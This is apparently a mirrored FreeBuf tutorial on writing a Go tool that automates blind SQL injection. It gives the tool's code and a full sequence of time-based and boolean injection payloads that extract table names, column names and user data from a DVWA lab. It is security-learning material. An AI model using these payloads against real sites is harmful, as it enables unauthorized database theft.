48

使用Golang打造一款自己的手工盲注辅助工具

 5 years ago
source link: http://www.freebuf.com/sectool/183646.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文作者:releasel0ck,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

想做这么一个小工具的想法来源于很久之前用awvs扫描到一个网站,存在延时盲注,带防火墙,环境是PHP+SQL SERVER,手工能绕过去,但是用sqlmap自动跑的时候,无法跑出任何的结果,最后手工测试出所有语句,写了一个py脚本结束了。有兴趣的话可以看下当时的 文章记录

前段时间又遇到了一个更奇葩的注入,数据库是PostgreSQL,存在防火墙,能绕过,但绕过的方式不固定,比如某条语句中有些的地方出现空格会被拦截,有些地方没有空格也会被拦截。这时候自动化工具就很难起作用,刚好最近在学习golang,就想着用golang来打造这么一款小工具,先来个效果图。

FJBrYvF.jpg!web

0X01:设计思路

程序语言采用的GO,界面是用的GitHub上的一个 开源包 (还不完善,不过小程序够了)。设计思路是使用二分法求ascii的方式来猜解字符。这里Http包的正确判断是采用长度和时间来进行判断,分别对应布尔型盲注和基于时间的盲注。两个文本框,上面的是修改过的Http原始包,下面那个是返回的结果。

程序一共内置了五个标志:<$qcount!> <$qlength!> <$length!> <$count!> <$qascii!>

<$qcount!>:查询数量,用于查询表,字段,内容的记录数 
<$qlength!>:对应每个数量的长度,同时需要配合使用<$count!> 
<$qascii!> :对应每个字符的ascii码值,同时需要配合使用<$length!>  

关键代码如下:

func sqlInjectCountByTime(rawString string, rightTime float64, p *ui.ProgressBar) int {
	p.SetValue(0)
	a := 14.0
	c := 0.0
	f1 := 0
	f2 := 10000
	client := &http.Client{}
	var count int
	for {
		if f1 >= f2 {
			count = 6789
			break
		}
		c = c + 1
		showProgress(p, c, a)
		start := time.Now()
		mid := (f1 + f2) / 2
		midStr := strconv.Itoa(mid)
		modifyString := strings.Replace(rawString, "<$qcount!>", midStr, 1)
		modifyRe := modifyRequest(modifyString)
		response, err := client.Do(modifyRe)
		elapsed := time.Now().Sub(start).Seconds() + 0.1

		defer response.Body.Close()
		checkError(err)
		if elapsed >= rightTime {
			start2 := time.Now()
			mid2Str := strconv.Itoa(mid + 1)
			modify2String := strings.Replace(rawString, "<$qcount!>", mid2Str, 1)
			modify2Re := modifyRequest(modify2String)
			response2, err := client.Do(modify2Re)
			elapsed2 := time.Now().Sub(start2).Seconds() + 0.1
			checkError(err)
			defer response2.Body.Close()
			if elapsed2 < rightTime {
				count = mid + 1
				break
			} else {
				f1 = mid + 1
			}

		} else {
			f2 = mid
		}
	}
	p.SetValue(100)
	return count
}

这里是根据时间来查询记录数的f2是最大的数量,这里默认的10000。elapsed是发送包到接收包的时间差,通过该值来判断查询否正确。本地测试的时候,软件是运行在win10,web环境搭建在kali,不知道是不是由于系统时间函数的差异,当我sleep(3),有时候查询正确但接收到的时间差会小于3,为2.99907。无限接近于3,于是最后加了0.1秒来平衡误差,真实环境应该不会有这个问题。

这里举的是基于时间的判断,基于布尔的类似,将返回包的长度与用户设置的长度比较。基于布尔的判断,我增加的多线程的支持。基于时间的是使用的单线程,我担心多线程会出现判断不准确。

0X02:基于时间使用方法

这里测试采用的是DVWA,没有使用防护软件,使用的是基于时间的判断方式。

2.1 获取正确的包长度和时间差

注入语句:1′ and sleep(3) # 。

使用burp截取Http包:

GET /vulnerabilities/sqli/?id=1%27+and+sleep%283%29+%23&Submit=Submit HTTP/1.1
Host: 192.168.159.143
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.159.143/vulnerabilities/sqli/?id=1%27+and+ascii%28substr%28database%28%29%2C1%2C1%29%29%3E97+%23&Submit=Submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2ig5k91gk2kuhhorjbeb210695; security=low
Connection: close

然后将包放入程序中,点击“Send test packet!”:

fINvEvI.jpg!web

可以看到返回的时间是3秒,长度是1421。

2.2 猜解表数

数据库名,可以通过database()函数来获取,这里我就不写了。判断方式勾选Time.

注入语句: 1' and if((select count(table_name) from information_schema.tables where table_schema=database())>1,sleep(3),1) #

使用<$qcount!>替换 1:1' and if((select count(table_name) from information_schema.tables where table_schema=database())><$qcount!>,sleep(3),1) #

feaUZbJ.jpg!web 可以看到返回数为2,有两个表。这里程序会自动将数量2填入Count后的文本框中。

2.3 猜解每个表长度

注入语句: 1' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1),sleep(3),1) #

替换后: ' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit <$count!>,1),1))><$qlength!>),sleep(3),1) #

这里的<$count!>标志告诉程序Count:2循环的时候,值该放在哪里。

AzQ3Qby.jpg!web 返回结果:Length: 9,5 表明第一个表长度为9,第二个表长度是5。结果将会自动填入Length文本框中。

2.4 猜解表名

注入语句: 1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),sleep(3),1) #

替换语句: ' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit   <$count!>,1),<$length!>,1))> <$qascii!> ),sleep(3),1) #。

NVBfYba.jpg!web 返回结果:Content: guestbook users 然后根据感兴趣的表再进行查询。方式基本相同。

2.5 猜解字段数

1' and if(((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())><$qcount!>),sleep(3),1) #

返回结果: Count: 8

2.6 猜解字段长度

1' and if((length(substr((select column_name from information_schema.columns where table_name='users' limit <$count!>,1),1))><$qlength!>),sleep(3),1) #

返回结果:Length: 7,10,9,4,8,6,10,12

2.7 猜解字段名

1' and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit <$count!>,1),<$length!>,1))><$qascii!>),sleep(3),1) #

返回结果:Content: user_id first_name last_name user password avatar last_login failed_login

0X03:基于布尔的使用方法:

这里的基于布尔的和基于时间的使用方式基本一样,记得将判断的语句勾选为Length。

3.1 通过语句求出正确的返回包长度

注入语句: ' and (select count(user) from users)>0 #

vaqiQ3Y.jpg!web 这里返回的长度是1450,后面我们将通过这个值来对包的正确与否进行判断 。

3.2 查询user字段的记录数

注入语句: 1' and (select count(user) from users)>0 #

替换后: 1' and (select count(user) from users)><$qcount!> #

3.3 查询user字段的长度

注入语句: 1' and length(substr((select user from users limit 0,1),1))>0 #

替换后: 1' and length(substr((select user from users limit <$count!>,1),1))><$qlength!> #

3.4 查询user字段的内容

注入语句: 1' and ascii(substr((select user from users limit 0,1),1,1))>0 #

替换后: 1' and ascii(substr((select user from users limit <$count!>,1),<$length!>,1))><$qascii!> #

NB7rIfu.jpg!web 0X04:结语

工具差不多完成了,理论上是可以通用的,只要能使用ascii这种猜解的形式。每个语句我都是在burp那里手工测试没问题再替换过来注入的,这就使得使用起来很繁琐(虽然手注本来就很繁琐)。如果将程序写成burp的插件形式,可能会好使用很多。但是毕竟是为了练习一下go语言编程,所以目前也只能先这样了。用来练习手注也还不错。SQL注入这种东西,可遇不可求,只能说祝各位好运。

程序源码和下载地址: https://github.com/Releasel0ck/Blind-SQL-Injector

Burp验证码识别插件地址: https://github.com/Releasel0ck/reCAPTCHA

*本文作者:releasel0ck,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK